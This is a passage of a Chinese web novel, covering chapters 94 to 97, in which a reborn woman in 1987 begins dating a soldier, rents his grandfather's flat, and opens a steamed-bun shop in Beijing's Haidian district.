勇敢的，硬着头皮问道：“那什么样的男同志，会让你觉得不错？” 林珊看着他严肃认真，又带着些谨慎和小心翼翼的试探，心头一下就柔软了起来, 声音都跟着轻了不少, “我希望对方能够尊重我，尊重我的事业。不要随便对我的人生指手画脚，不能想着娶个媳妇回去就万事大吉了。婚姻需要两个人一块儿商量着来, 而不是一个人说了算。” 贺正岩觉得她说的这些再正常不过了，原本还想着她是不是有什么特殊的要求，结果就只是这些，“你说得对，相互尊重是首位。男子汉大丈夫，本来就应该多疼自己媳妇一些，又不是旧社会，当什么大爷。” 林珊被他说“大爷”两字时候的嫌弃表情给逗笑了，如果这话换别人说，她会觉得最多只能信个20%，但从他嘴里说出来，她就觉得可信度大大提升。 贺正岩不知道林珊在笑什么，只觉得她笑起来特别好看，他喜欢她看着自己笑，虽然心脏会乱跳，人也会紧张，但就是觉得开心。 “你呢，为什么一直没找对象？”林珊问他。 贺正岩实话实说：“我以前没想过这些，总觉得部队的事儿要紧，想着自己还年轻以后再说，谁知道一眨眼就已经二十六了。” 林珊笑道：“二十六也不大。” 贺正岩一怔，随即被一股喜悦浇灌，她觉得自己岁数不大！他之前确实怕林珊会觉得两人岁数不合适，现在听见她这么说，心里瞬间跟有了底似的，不自在地摸着后脖颈，说：“我现在准备找了。” 林珊假装没看懂他眼里的殷切，“哦，那你想找个什么样的？” 贺正岩试着更进一步，于是努力用不着痕迹的语言来描述着林珊，“漂亮，聪明，善良，性格好，善解人意，很温柔，很好相处，在一块儿待着特别舒服……的那种姑娘。” 林珊原本还有点想笑，但听着他越夸越认真，看自己的眼神也越来越真挚，突然有点不好意思起来，脸都开始烫了，只好赶快错开视线，清了下嗓子。 贺正岩虽然在男女情感方面是新手，但人可不笨，一下就明白过来，林珊恐怕是感觉出来自己喜欢她了，于是，蹭的一下，他由头到脚瞬间红了个彻底，心脏也突突突地狂跳。 她知道他喜欢她，然后还是愿意跟他出来，还愿意这么对待他，是不是说明……她对自己也有意思呢？ 贺正岩进行了一会儿头脑风暴，确认了自己的想法，心情瞬间比刚才还要澎湃，也莫名更加紧张起来了。不过，深谙打仗之道的他，明白这种时候不乘胜追击更待何时，所以他深吸口气，“你……觉得我怎么样？” 林珊心里一惊，知道他要摊牌了，“挺、挺好的。” 贺正岩鼓起勇气，表情严肃认真，正经无比，“那咱俩……可以试着接触一下吗？我想跟你处对象。” 林珊本能地睁大眼睛，彻底装不了傻了，脸蛋红扑扑的，心脏也不断加速，“你……” 贺正岩立正敬礼，“我向主席保证，我是真心诚意地想跟你处对象的！如、如果你觉得合适的话。”说完，他紧张地等着答案。 林珊受不了这种浓烈的情绪，垂下眼眸红着脸往前迈步。 贺正岩赶紧追上，边走边盯着她看。 林珊：“别看我，看路。” 贺正岩没有照做，看着她越走越快，他也不自觉地加快脚步，然而走着走着，他突然眼睛一亮，“你同意了？！” 林珊张了张嘴，又闭上了，然后步子迈得更加迅速。 贺正岩这下算是彻底明白了，瞬间露出一口大白牙，笑得像得到了全天下的宝贝似的，兴奋激动紧张冲动，所有的情绪混杂在一块儿，让他一直看着她傻乐。 “不许笑了。”林珊睨他一眼。 贺正岩笑得更开心了，通体无比畅快，脚好像都轻了，终于体会到一点儿朋友嘴里那种，看一眼魂儿就跟着瞟了的滋味。 林珊这会儿也说 不上来心里是什么滋味，被他这么看着，感觉特别不好意思。她是真没想到他居然直接就开口了。 原本以为这个年代的人，在这方面应该会稍微害羞一些，尤其贺正岩看起来特别正经，她就总以为他会跟王军似的，吭哧半天开不了口。俩人可能还得暧昧一阵，才能有所进展。结果没想到这人突然就坦白了，搞得她有点儿措手不及。 林珊当然对贺正岩有好感，尤其是在她说了未来生活上的打算之后，他的反应让她很喜欢，愿意跟他尝试一下的心也更强烈了。 只是没有必要这么快啊，还没几个来回就捅破了窗户纸，这会儿还一直盯着她看。 林珊虽然活了两世，但在感情方面还是白纸一张，被一个存在感这么强烈的英俊男士这么看着，心脏当然会不听使唤得乱跳，脸也会不自觉得泛红。 走得快了，她就开始发热，越热，脸就越红，她一只手摸着脸，另一只手推贺正岩：“再不好好走路，我就回学校了啊。” 这个威胁很有用，贺正岩立刻目视前方，脸上的笑却还是收不住，他深吸口气，偷偷瞄了眼正在给脸降温的林珊，轻声解释：“我不是故意的，我就是觉得特高兴。” 林珊心中一动，忍不住抬头看他。 贺正岩跟她四目相对，心脏砰砰狂跳，脸跟耳朵红得能滴血，眼睛亮堂堂的，整个人充满了紧张和期盼。这一瞬间他突然明白了，原来这就叫心动啊。 “你别生气，我不看了。”他凑过来小声说，不想让她有一丁点儿的不开心。 林珊只是不好意思，又不是真生他的气，见他这么小心翼翼，忍不住笑了。 贺正岩也跟着傻笑，笑了会儿后，突然问她：“你饿不饿？” “不饿。” “走得累不累？” “还好。” “那上车吧，我想带你去个地方。”贺正岩一脸神秘，说罢见林珊没反对，握住她的袖口就带着人往回走。 林珊看向他抓着自己的地方，心里刚想说他还挺老实，只敢握衣服，谁知道下一秒，他手往下一滑，就实打实地握住了自己的手。 一股庞大的热意从他的手掌传来，林珊下意识地想缩回去，可余光瞥见贺正岩下巴紧绷、脖颈僵直得像块石头，她突然意识到他有多么得紧张。 于是林珊强忍着不习惯和狂乱的心跳，没做任何动作，让他牢牢地握住自己的手。 贺正岩见林珊没有甩掉他，提着的心总算稍稍落地，随即浑身就被一阵狂喜席卷，原来女孩子的手这么软啊，又小，又软，比小孩儿的都嫩。 不像他这一双手，又黑又粗糙，手心手背都有茧子，想着想着，他赶紧放轻一些力道，怕自己把她握疼了。 林珊察觉出了贺正岩的用意，忍不住偷瞄他，她对这种细小的体贴没有什么抵抗力。 两人手牵着手漫步回到了吉普车上，贺正岩不舍地放开林珊，发动引擎朝着目的地出发。 林珊好奇他要带自己去哪儿，可问了几遍他都不说，非要卖个关子。 十几分钟后，贺正岩把车停在了一家旱冰场门口。 林珊看见那招牌之后，都想笑了。电视剧诚不欺我，这年代青年男女约会的方式，还真就是滑冰和看电影这两种啊。 不过看贺正岩一脸的期待，她还是露出了一副惊讶的模样，“你要带我滑冰？” “是，你别担心，不会的话我教你。” “……好。” 交了钱换上鞋，贺正岩还想扶着林珊进场，结果她冲他笑了笑，就直接奔进了场内。她不但会滑，而且还滑得相当漂亮，专业。整个人在场上像只会飞舞的彩蝶，轻盈又优美。 贺正岩惊喜地追上她，竖起大拇指赞叹道：“厉害！滑得真好！” 林珊笑了，她前世在旱冰场打过工，别说普通滑了，就是高难度动作也不再话下。 “太厉害了。”贺正岩忍不住再次感叹，看向她的目光全都是欣赏。 见她滑得自由自在的，像只快乐的小鸟，他心里也跟着特别开心。现在的年轻人都爱玩儿这个，带她来玩儿果然没错。其实他自己没当兵之前也没少偷跑出去滑野冰，那时候旱冰场也不怎么正规，都是打架的，现在比以前好多了。 “你在安河学的？”他问。 林珊心虚地“嗯”了一声。 贺正岩真心称赞：“真聪明，什么都学得特好。” 他不仅嘴上说，看向她的神情，也充满了欣赏和骄傲，仿佛在说：我对象怎么这么厉害。 林珊不好意思，迅速转了个方向，一溜烟跑了。 贺正岩开心地笑了，立刻大滑步追了过去。 两人在充满欢声笑语的旱冰场上，你追我赶，滑得那叫一个畅快。 第94章 第94章 进展顺利 林珊没穿来之前是个卷王, 穿过来之后也整天都想着怎么挣钱，已经很久没有这么无忧无虑地玩儿过了。 两人在旱冰场上滑了半下午，直到肚子开始咕噜噜, 才意犹未尽地去吃饭。 饭馆是贺正岩找的一间家常炒菜馆，人不算多, 味道却非常好，尤其是那道宫保鸡丁, 简直秒杀后世很多所谓的名店。 贺正岩见她吃得开心，立刻开始琢磨还有哪些地方可以带她去的, “京市很多地方都不错, 有时间咱们一块儿去逛逛吧，我每礼拜有一天假。” 林珊略带羞涩地点了点头, 发现自己对他这种满脸都是期待的样子, 没办法说不。 贺正岩高兴地笑了, 把小排骨往她面前推了推，“多吃点儿。” 林珊夹了一块排骨, 又把盘子推回原位, “你也吃, 别光顾着照顾我。” “诶。”贺正岩赶紧动起筷子，脸上的笑一直就没停过。 林珊也不确定刚发展起来的男女关系是不是都这样，吃个饭好像空气中都飘着不一样的颜色，但凡对视，眼里必定都带着笑, 那努力压制的羞涩和紧张, 也总会时不时地冒出来。 慢吞吞地吃完确定关系后的第一顿饭，贺正岩依依不舍地把林珊送回了学校，他想帮她把箱子搬上去, 可这毕竟是女生寝室，不合规矩。 林珊试了一下，箱子确实挺重的，不过她力气大，一个人搬到四楼完全没问题。 贺正岩只好把她送到楼梯口，不放心地看着她接过箱子往上走，只见她虽然不到健步如飞的地步，看上去确实还挺轻松的，转弯的时候还冲他笑了笑。 贺正岩突然想起之前遇见歹徒的时候，林珊是多么的勇敢和机智。这样一个美好纯真，同时又果敢坚毅的好姑娘，居然同意跟自己谈对象了。 贺正岩抑制不住自己上扬的唇角，看着空荡荡的楼梯口，心里不能更美了。直到看门的大娘探出脑袋来查看，他才赶紧离开了宿舍楼大厅。 回到寝室的林珊，一边回答着徐青和陈小娟的问题，一边把箱子里的东西拿出来收拾。 陈小娟握着林珊给她的苹果，美滋滋地说：“汉北的苹果真好吃，又大又红，还特别脆！兵哥哥对你真好，他肯定对你的喜好知道得一清二楚。” “嗯！橘子也好吃。”徐青说着，把剥好的橘子各塞了一瓣到林珊和陈小娟嘴里，笑眯眯地问：“珊，你下午跟兵哥哥干什么去了？这么晚才回来，他这是要从预备对象变成正式的了吗？” 林珊没直接回答，而是笑着把那瓣酸酸甜甜的橘子吃了。 两人看懂了，瞬间围过来闹林珊，挠着她的痒痒肉，笑着逼她讲讲到底怎么回事儿。林珊最怕痒了，躲了一圈没躲过，只好如实招来。 徐青和陈小娟边听，边双双露出那种小女孩对美好情感向往的神情。林珊笑了，其实她原本以为就算跟贺正岩在一起了，也应该会是那种淡淡的，比较舒服和谐的感觉，结果没想到居然意外得很开心，很多本能的感受和反应，也根本不是她之前想 象中的那样平淡。 果然没经历过的事，就是会给人带来各种各样的刺激啊。 比林珊更受刺激的是贺正岩，他夜里翻来覆去躺床上睡不着，枕着胳膊，望着天花板傻乐，一直在回味下午的点点滴滴，还不时握握自己的手，感受跟林珊牵手的滋味。要不是明天要正式到岗，他恐怕能兴奋到后半夜。 昨天送林珊回去的时候，贺正研就厚着脸皮问到了她的课程安排，他计划以后一个礼拜见一次面，每周趁她没课的时候，打三次电话。 相信通过努力，用不了多久两人就能建立起非常深厚的感情！ 林珊觉得有了对象之后的生活，跟一个人的时候还是有挺大区别的。之前她只要有时间，不是跑出去考察市场，就是参加学校的活动，现在她要按照约定的时间跟贺正岩通完电话后，再去忙别的事。 幸好这年代没什么人会煲电话粥，就算有钱，也不能长时间占着线，让别人没办法用。 林珊这阵子除了适应有对象的生活外，还看上了一个店面。根据京市的市场和她的现金状况，在这边开服装店恐怕暂时做不到。开个大型服装店的成本太高，再加上她还没有完全搞定进货渠道，目前还不是时机。 不过逛了这么久，她越发觉得在京市卖包子和熟肉的潜力巨大，相信靠她家包子的竞争力，绝对能在京市打下一片天地，再加上启动资金也完全在承受范围之内，所以思来想去，林珊决定先开一家包子铺。 她看上的店面同样在海甸，位置就在后世著名的中关村里附近，虽然87年初这个地方还只是电子一条街，但明年开始，这里就会被批准成为“新技术产业开发区”，然后将一步步发展成后世那种规模。 目前电子街已经有上百家公司在这里驻扎了，每天的人流量很大，林珊看上的铺子正好在这些未来富翁们的上班必经之路上。 前后左右又有着大片的居民区，简直是开店宝地。 考察的成果，林珊通过电话都跟大家说了。所有人全部举手赞成，就是有些担心她会耽误学业。不过这个顾虑在知道林珊考了第一名之后，自然也就打消了。 既然公司一致通过，那就直接开干。林珊让赵桂花汇了笔钱到她京市的银行账户后，开始做前期准备工作。 铺子房租400块一个月，两间不算小的屋子，其实要价在这片儿并不算贵，不过能省一分是一分，恰好房东家有个正在复读的女儿，林珊凭借自己清大的身份，让小姑娘有问题可以随时来问她，房东夫妇俩那叫一个开心呐，当场就砍了五十块出来。 林珊痛快地签合同付钱，350块一个月，一年下来4200元。京市的确是贵啊，还没开始装修，她准备的钱就出去一小半儿了。不过房租贵，物价相对应的也高。这边饭馆一个大肉包子就要1毛8。 她家安河店的大肉包今年才涨到8分钱一个，只够京市的一个零头。 定好了店面之后，接下来就是租房子了。毕竟赵福她们要从安河过来忙活，而且等资金储备够了，她还要开服装店，家里来的人会更多，所以必须在京市有个可以让他们落脚的地方。 于是周末的时候，贺正岩开车带着林珊在海甸找房子。 “其实我自己找也行。”林珊有点不好意思，好容易见了面，净让他陪着自己干活了。 贺正岩丝毫不在意，还非常开心，“我闲着也是闲着，京市地方大，公共汽车也不是哪儿都通，再说你一个女孩子找房子我也不放心，以后要去远地方，或者要单独去一个地儿的话，记得打电话给我。” “……好。”林珊心里暖呼呼的，“谢谢。” 贺正岩笑了，“跟我不需要客气。” 林珊不好意思地对他笑了笑，突然觉得有个对象真挺好的。 87年的京市还没有中介，林珊只能看上哪个地方后，跑去门岗上打听。大半天下来效率不是很高，不是房租贵就是房子太小不合适。 她想租个稍微大点的地方，毕竟是要作为公司在京市的根据地的。既要能住，又得有办公的空间。 可惜两人看到接近傍晚也没找到合适的，林珊正要放弃回学校的时候，贺正岩突然说：“我……有个朋友，他家在这附近有闲置的房子，你要不要去看看？” 林珊眼睛一亮，“好啊！” 贺正岩摸摸后脑勺，“那这样吧，咱先找个地方吃饭，我打个电话让他把钥匙送过来。” 林珊：“会不会太麻烦人家了。” “不会。” 于是俩人找了路边一个餐馆坐下，贺正岩打完电话后，跟林珊边吃边等人。 大约过了十几分钟，一个穿着军装的小伙子就出现在饭店门口，他把钥匙交给了贺正岩，然后敬了个礼就走了。 林珊纳闷：“你朋友没空啊？” “……他忙。”贺正岩岔开话题，“那什么，你吃完了吧？” “吃完了。” “那咱去看房子吧，天不早了。” 俩人很快上了车，贺正岩没开多久，就把林珊拉到了一片家属院。这年头的家属院还没有物业，只有一个看门的大爷，居民平时只需要交个卫生费啥的，水费得每家每户轮流抄表。虽然没有后世方便，但相比起平房和上公厕来说，还是住楼房好啊。 这个家属院占地面积不小，楼却不算多。门口的大爷一看来人是贺正岩，直接笑着把大门打开，让车开进去了。 林珊：“你跟这大爷认识啊？” “嗯，以前来过。”贺正岩努力维持着淡定，不想让林珊看出什么异样。他不确定她知道这房子是他的之后，会是什么反应，只能保险起见假装是朋友的。 幸好林珊只顾着观察四周的环境，并没有多想。 这个房子在二单元三楼西户，一层只有两户，典型的六层板房，不算很新，但维持得非常好，楼道的灯不但完好无损，居然一辆自行车也在外头停着。 要知道就是在千禧年初，很多没物业的小区，楼道里的灯泡也坏了就不再管了，自行车更是到处乱塞，任何人都能随意走动。相比较起来，这个家属院管理得真不错。 林珊有点儿心动，跟着等贺正岩把门一打开，她更是当即决定就它了。 第95章 第95章 京市开店 这个房子是个大三居。 要知道这年头的单元房基本都是两居室, 客厅小得跟过道似，厨房和厕所也都挤在一块儿，格局并不是很好。 这房子不但是个三室一厅, 而且还有两间屋子都朝阳，客厅四四方方的很宽敞, 厨房和厕所也设计得非常合理。而且，最关键的是全屋都是家具。用的什么木头林珊不懂, 但看上去不便宜，有些年头了, 保养得非常好。 “你朋友打算租多少钱？” 贺正岩知道她的预算, 非常精准的报了个价格，“20一个月。” “真的？”林珊无比惊喜, 她都做好一个月掏30块钱的准备了, 之前看的那家比这个小, 还要25块钱，这房子最少也得30块吧。 “那你朋友亏太多了。”林珊不好意思让人家吃亏, 都是认识的人, 这样不好。 贺正岩却说：“没事儿, 钱不重要，反正闲着也是闲着。” 林珊见他那么笃定，渐渐察觉出一点儿异样，再结合刚才看门大爷对他的熟悉程度，还有那位来送钥匙的战士……这房子不会是他家的吧？ 于是, 她试探道：“那明天可以约你朋友见个面, 咱把合同签了吗？” 贺正岩想都没想，“我替他签就行了。” 林珊：“……” 要不要再明显一点儿啊。 看着贺正岩一脸不会说谎的模样，她无奈地笑了, “为什么不直说这是你家的房子？怕我不租吗？” “……”贺正岩顿时有点儿狼狈，看着她笑盈盈 的模样，不是很自在地“嗯”了一声。 林珊温柔地望着他，笑容里逐渐多了一种更深层的情愫，“谢谢你……” 贺正岩被她看得心跳加速，但绷着的弦却松了一些，他实在不习惯说谎，清了下嗓子解释道：“我希望你住的安全点儿，这年头越来越不太平了，你一个姑娘家带这么多钱进进出出的，很容易被人盯上。这房子是我姥爷留下来的，科研所的老家属院，门岗查得也严点儿，安全比较有保障。” 说着他顿了一下，“你是我对象，照顾你是应该的，以后不用跟我说谢谢。” 林珊被他说“对象”二字时的语气给感染了，就是那种有点儿不好意思，又有点儿理直气壮的劲儿，突然把她弄得也有点害羞。尤其俩人还站得这么近，彼此又对视着，气氛突然间就不对劲了。 “咳，那、那我租下了。”林珊躲开贺正岩的视线，假装无事的环顾四周。 “嗯，你住吧。”贺正岩同样紧张，甚至开始有点儿口干舌燥。刚才四目相对，彼此都不说话的时候，他有种冲动想一把抱住她，亲过去。这会儿心脏还在疯狂乱跳，也不知道她听见没有，偷看她一眼，发现她脸蛋红扑扑的，他心中一动，一把握住了她的手。 林珊倒吸口气，心脏跳得飞快。 今天见面到现在，她一直在忙正事，他似乎没找到机会牵手，现在在这种气氛下被他紧紧地握住，她很难不紧张。孤男寡女共处一室，他不会这么开放吧。 贺正岩握住了想了一个礼拜的小手，感觉比回味中的还好，而且因为离得特别近，还闻见了她身上的香味，这让他想起了在安河住院的时候，她帮自己润唇的场景，莫名更加紧张了。 “我……想看看阳台。”林珊小声开口。 贺正岩立刻回神，清了下嗓子，深吸口气，拉着她朝阳台走去。 林珊刚才就看过阳台了，这么说纯粹是想打破那种暧昧又危险的气氛，站在阳台上吹吹冷风，彼此都能冷静一些。 这会儿太阳已经落山了，还剩下那么点余韵，泛着一丝淡淡的橘红。这附近高楼不多，站在三楼阳台还能看见不远处的马路，行人穿梭在其中，忙忙碌碌的。 “你在这儿住过吗？”林珊问。 贺正岩摇头，“没有，我妈都没住过，这是老爷子工作之余休息的地方，他生前也不怎么住这儿。这里头大件家具都不缺，锅碗瓢盆、铺盖被子什么的，我那儿有多余的，你要不嫌弃的话，我都给你拉过来？” 林珊当然不会嫌弃了，她只是不知道该怎么接受他的好，“我怕太麻烦你。” 贺正岩笑得有些腼腆，“我好不容易才找着对象，怎么会怕麻烦。”说着，见她有点儿冷，他赶紧重新把她拉回屋内，小声来了句：“我巴不得你天天麻烦我。” 林珊有点儿不好意思，不知道是被他看得，还是被他说得，感觉刚被冷风吹散的紧张好像又要回来了。 她望着他，小声说：“谢谢。我知道你说过不用我谢，但我还是想表达一下心情。” 贺正岩笑得更深了，虽然不想她老对自己说谢谢，但她这会儿说话的语气，有种说不出来的亲密，听得他心里软乎乎的，再被她水汪汪的眼睛这么看着，真是又快乐又紧张，手心儿都出汗了。 林珊察觉出来了，赶紧扯别的话题，“那、那房租我按季度给你，可以吗？” 贺正岩清了下嗓子，“不给最好。” 林珊嗔他一眼，接受帮助和完全靠对方是两码子事。 敲定好房子之后，天色彻底暗了下来，贺正岩就是再不舍得，也得送林珊回学校了。其实他这阵子非常忙，不过再忙，也可以想办法抽出一些时间来。跟在汉州的时候不一样，那时候一出任务就等于与世隔绝了。 林珊也是个闲不住的人，上着大学还要继续开店，可见事业心非常重。贺正岩知道她在安河的生意做得已经不算小了，但即使这样她还是要继续扩大，说明心气儿很高，他喜欢这样的人，人就得有拼劲儿。 “我上去了啊。”林珊站在宿舍楼门口，跟他拜拜。 贺正岩点点头，目送她离开后，也驶离了校园。 林珊第二天没课，上午跑了一圈建材市场，下午跟学校排球队一个关系要好的师姐李倩，询问了一下办营业执照的事儿。 李倩家里是城西工商局的，一听林珊要办营业执照，立刻热情地拉着她跑去给家里打电话询问情况。 李倩的父亲很疼闺女也有耐心，把在京市办理营业执照的手续说得很清楚，还问林珊要在哪里办。 林珊把自己包子铺的情况一讲，李倩的父亲直接让她去海甸分局找一个叫刘长英的科长。 林珊根本没想到事情会这么顺利，对李倩和她父亲感激不尽，李倩爽快地笑道：“这有什么的，举手之劳而已，这点儿忙都不帮那还是朋友吗？” 林珊乐了，知道她爱漂亮，“等过一阵儿换季，我再给你挑几件衣服。” 李倩眼睛一亮：“那就再好不过了！你上次送我的棉服和毛衣可真好看！” 林珊笑道：“下次的更好看。”冬装毕竟受材料和厚度的限制，能做出的款式有限，春夏装就不同了，款式花色都更加丰富一下。 次日，林珊拿着资料去工商局找刘长英科长。刘长英早得了信儿，一见林珊过来，寒暄了几句后，就安排了一个办事员专门给她办手续。 林珊本来以为在安河办|证算快的了，没想到京市的效率更高。不到一会儿功夫，她就办好了营业执照，注册好了商标。 证件的事情搞定，剩下的就是装修了。 京市什么东西都贵，建材市场的原材料价格也将近安河的一倍，林珊逛了几天才筛选出了三家靠谱的铺子，材料好是第一，人品也必须好，诚信是长久合作的第一步。装修队是其中一个铺子老板的亲戚，因为大家都是汉北人，老板念在老乡情分上，还给便宜了不少。 搞定这些重头部分，林珊终于放松了一些，下午跟贺正岩在科研所的房子见面的时候，她很开心地跟他分享这一切。 贺正岩一边换着灯泡，一边笑着说：“我知道你能干，但没想到这么能干，居然一个人就把事儿都搞定了。”他有朋友在做买卖，很清楚开一个铺子需要花费多少功夫。 林珊笑得有些腼腆，“我毕竟开店开多了，做起来比较熟门熟路。” 贺正岩深深看了她一眼，嘴角一直就没下来过，对她的欣赏和喜欢明显得不能再明显了。他换好灯泡，手一得空就握住了林珊，拉着她到处在屋内查看，就连检查门窗的时候，他都没放开。 林珊这两天被他握得已经快习惯了，见此情景，有点儿想笑，小声说他：“你先松开吧，这样不方便。” 贺正岩一怔，随即笑了，不好意思地清了下嗓子，放开她的手开始认真检查门窗。 家里的门窗有些年代了，锁芯、门别儿和把手上的螺丝，都需要再拧紧一下。他在屋里到处忙，林珊也没闲着，跑去厨房做了两碗面出来。 贺正岩吃着香喷喷的汤面，偷看着林珊白里透红的小脸，脑子里不由自主地开始畅想俩人结婚之后会是什么样子。 “等忙完这几天，我再给你做些香菇肉酱，平时配面和馒头都能吃。”林珊笑着说。 贺正岩点点头，开心得很。吃什么不重要，重要的是她清楚自己的喜好，心里惦记着自己。他忍不住默默感谢了一下姥爷，要不是有这房子，他现在肯定只能拉着她在街上闲晃。 第96章 第96章 第一家店 铺子装修和和租房的事情全部安排好之后, 林珊把赵福和王芳两口子叫了过来。 赵福负责盯装修，王芳跟着她跑东跑西，搞定猪肉蔬菜和面粉的渠道, 购买和定做店内摆设，以及制作招牌这些事情。 为了方便干活, 林珊还买了一辆三轮车和一辆自行车，都是七八成新的, 京市没有交通工具实在是寸步难行，这里的“不远”和安河的 “不远”完全不是一个概念。 赵福两口子都是第一次进京, 对周围的一切都非常好奇, 虽然还没好好逛过其他地方，只每天跟着林珊到处忙活, 就已经觉得首都实在太大, 太了不起了！ 他们来之前也没想到林珊会租这么好的房子, 真是又大又高档！俩人这辈子头第一次住楼房，干什么都小心翼翼的, 前两天还有些不习惯, 不过没多久就开始不停地跟林珊说住楼房是方便啊。 茅坑一拉绳, 水就冲走了，还有煤气罐，还有一种叫暖气片的东西，说是有了它冬天就不用烧煤球炉了！ 从林珊那儿得知这房子是贺正岩的之后，俩人更是惊讶得不行, 心想贺领导家的条件一定非常好, 这么高档的房子居然都舍得闲着。他人更是好得没话说，经常过来这边帮他们的忙。 刚开始两口子完全没往别的方面想，想着贺正岩来得勤, 是因为他跟大姑家有不少交情，这又是人家的房子，应该只是帮忙照应一下。 结果那天赵福从铺子回住的地方搬东西，猝不及防地撞见林珊跟贺正岩，两人手拉着手，有说有笑的从楼道里走出来。 三人在单元门口相遇，彼此面面相觑，一时都有些尴尬，最后还是林珊率先问赵福要搬什么，他才堪堪回神。 “你们俩……好了？” “……”林珊有点儿不好意思，贺正岩却直接点头：“是，我们俩正在处对象。” 赵福傻笑起来，整个人既震惊又高兴，之前大姑还在操心表妹找对象的事儿，没想到她跟贺领导居然看对眼了！瞧瞧，俩人站在一块儿多般配啊！ “好好好！实在太好了！” 林珊心想这是不是有点儿太高兴了，扭头一看贺正岩，好家伙，他脸上的笑不比赵福小。 赵福虽然平时跟其他人挺能聊得来的，但面对贺正岩的时候总会不自觉地紧张，现在好了，一想到他以后会是自己的妹夫，顿时觉得亲近了很多。表妹有了对象，这可是大喜事，大姑应该还没得到信儿，不知道她接到电话后会是个什么反应。想来应该跟他一样既开心又震惊吧。 珊妹子真厉害，做生意厉害，学习厉害，找对象也这么厉害！赵福对她佩服的五体投地。 林珊受不了赵福这眼神，催促他正事要紧。 其实谈恋爱的事儿林珊没想瞒着，只是这阵子忙得晕头转向的，根本顾不上这个。忙完这两天，她就得马上开始负责培训新招来的店长和服务员。王芳要负责后厨一切事务，赵福则需要继续盯装修和时不时地出去购置物品。 林珊想在三月底开业，就必须抓紧时间。四月她还得去一趟粤城进货，服装店那边要换季上新了。再加上学校那边的事儿，几乎可以说是分|身乏术了。 贺正岩挺心疼她的，但见她每天都充满激情地东奔西走，渐渐也明白了她说以后要以事业为重的意思了。她似乎真得很喜欢做生意。 经过所有人一个半月的努力，他们在京市的第一家包子铺终于完成了所有准备工作。恰好次日是黄道吉日，“大肉包”开始试营业。 林珊请了学校一些关系要好的同学过来捧场，徐青和陈小娟更是一大早就跟着林珊一块儿过来了。 大家都住一个宿舍，平时感情又非常好，今天这种重要的场合是一定要来帮忙的。其实她们俩装修期间来看过一次，当时铺子正在施工，场面混乱，林珊又得赶紧去别的地方买东西，俩人只待了会儿就匆匆离开了，不敢怵那儿添乱。 今天一来看见这么气派的两间铺子，陈小娟直接傻眼，“天哪，好漂亮的铺子！比我们镇上的国营食堂还高档。” 徐青也惊叹不已，“就是，林珊你太厉害了！”京市这种寸土寸金的地方，搞这么大的门店，弄这么好的装修，这得花多少钱啊。 林珊笑着把两人领进去，亲自去后厨拿了几个刚出炉的包子出来，“尝尝味道怎么样。” 徐青和陈小娟来的时候已经简单吃过早饭了，但还是忍不住被这香喷喷的包子给勾起了食欲。 如果说徐青之前还有些担心林珊能不能回本的话，再吃下第一口包子后，她的顾虑就彻底打消了。这包子也太好吃了！薄皮大馅儿，味道是她从来没吃过的那种，有独特的香气，又充满了肉香！ 怪不得敢搞这么大，原来林珊家里有独家秘方啊。 徐青吃着包子观察了一圈，发现她卖得东西可真不少，馄饨小笼包汤面，另一侧还卖熟肉，不仅有猪杂，还有很多素菜，味道也特别香。跟包子完全不是一个味儿，勾得她特别想尝尝。 陈小娟也有同感，根据包子来判断，其他的应该也都特别好吃！不过因为她哥在镇上开铺子，所以更引她关注的，是林珊店里的摆设和服务员。 没想到只统一穿围裙和戴帽子，也显得这么整齐，厨房和前台装得也特别合理，这样地方显得更大，又能美观整洁，真是好巧思啊。 而且这些服务员一看就都训练过，即使她跟徐青不是客人，人家也都很热情地过来接待。光笑脸迎人这一点，就比京市很多饭馆那些趾高气昂的大姐们好多了。 林珊自从放下包子后，就一直在后厨帮忙。京市不同安河，也不跟加盟店不同，所以她才决定要先试营业。 这铺子她一个招了五位服务员，一名店长。还跟以前一样简单进行了分工，后厨前台各司其职。效益高，工资就高。 店长杜丽是林珊面试了好几轮才找到的。杜丽京市人，原先在纺织厂后厨当个小管事，后来跟偷吃的丈夫离婚之后，岗位硬是被前夫家给要回去了。 正发愁接下来该干点儿什么的时候，看见了林珊的招人告示。 杜丽性格直爽，能吃苦，人也老实本分，娘家就住在离包子铺不远的村子里，所以综合考虑下来，属她最合适店长这个职位。 杜丽第一眼见到林珊就觉得这小老板不简单，尤其在知道她还是清大的高材生之后，更是激动坏了。她喜欢有文化的人，也愿意跟着有文化的人干。她觉得人家这么厉害都肯来开铺子卖包子，个体户肯定会越来越吃香。 上午十点，鞭炮一放，“爱国大肉包”正式开始试营业。 林珊请的同学陆陆续续都到了，杜丽的亲朋好友纷纷过来帮忙。贺正岩虽然正在延庆下部队抽不开身，但也请了不少好哥们儿的家属前去捧场。 于是即使是在人生地不熟的京市，“爱国大肉包”的开业也是相当热闹。原本大家是念着人情关系来捧场的，有想来看看铺子什么样的，有想来看看林珊本人什么样的，结果等吃的一上，大家瞬间口水直流，大快朵颐起来。 无论哪个年头的百姓都爱看热闹，买东西都不爱去那冷清没人进的地方。大家一瞧这新铺子门口排了那么老长的队，立刻好奇地围了过来。 真有这么好吃？ 那我也买一个试试。 好吃再来，不好吃开骂。 林珊对自己的产品有绝对的信心，除了之前的经验，更多的也是她考察了京市的市场之后得出的结论。不然她也不敢直接就开这么大的铺子。 这个铺子只要步入正轨，会比安河服装店的利润高出一倍多。典型的挑费高，收入更高。当然了，要是能在京市开服装店，那肯定更赚。 只不过目前还不到时候。毕竟在京市开个稍微像样点儿服装店，就已经非常不容易了。更别说那种开在中心商业街的大型服装店了。那种东西需要人力财力和供货能力都到达一个 点之后，才能水到渠成。 林珊下一步想等包子铺收入稳定之后，资金回笼一下，再跑一趟粤城搞定所以进货渠道之后，再开始开店。一开始不用特别大，只要装修精致，衣服能卖上价，一定大有赚头。 包子铺第一天试营业的生意就非常好，营业额完全超出林珊的预期。大家都非常开心，各个干劲儿十足。赵福和王芳两口子，更是高兴得合不拢嘴。 要知道这可是首都啊，他们做梦也不会想到有一天能把包子卖到首都。关键这还不是加盟，是他们自己的店。想想都觉得光荣。 首都人民居然也这么爱吃他们的包子和熟肉！这事儿回去必须得好好宣传一下。 附近的居民吃过“爱国”家的所有吃食之后，就没有不称赞的。虽然比其他地方贵一点，但是人家这味道是独一份的，用料还特别实在，值！ 铺子开业一个礼拜，店门口每天都在大排场龙。有的客人甚至连续三天，都没买到心心念念的熟肉。 “爱国”家在这片儿算是火了，林珊也因为这个，在学校多了个“包子西施”的名号。 第97章 第97章 兄弟对姐妹 张丽丽虽然对“包子西施”的称号嗤之以鼻, 但平心而论她最近挺开心的。 林珊老不在学校，上课都经常缺席，这让她心情非常愉悦, 